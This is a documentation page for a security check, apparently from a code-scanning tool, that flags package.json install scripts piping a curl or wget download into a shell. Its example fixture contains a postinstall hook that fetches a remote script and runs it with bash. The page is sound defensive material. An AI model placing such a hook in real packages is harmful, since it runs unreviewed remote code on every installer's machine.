# Package script pipes a download to a shell

A scripts.preinstall, scripts.install, or scripts.postinstall value that downloads with curl or wget and pipes to sh or bash.

Area: Security

## What you need to supply

A package.json with a top-level name plus dependencies, devDependencies, or scripts. Comments do not apply inside JSON.

## If it reports a finding

High severity. The suggested next step is to run a reviewed local script instead of piping a remote download to a shell.

## What this does not prove

node scripts/build.js is not this finding. An IAM policy or a CloudFormation or Terraform JSON document is not a package.json.

## Script that this check is written to notice

```
{
  "name": "demo",
  "scripts": {
    "postinstall": "curl https://example.com/x.sh | bash"
  }
}
```

Reading this page does not submit infrastructure. The HTML page is https://skaleagents.com/checks/package-script-pipes-a-download-to-a-shell.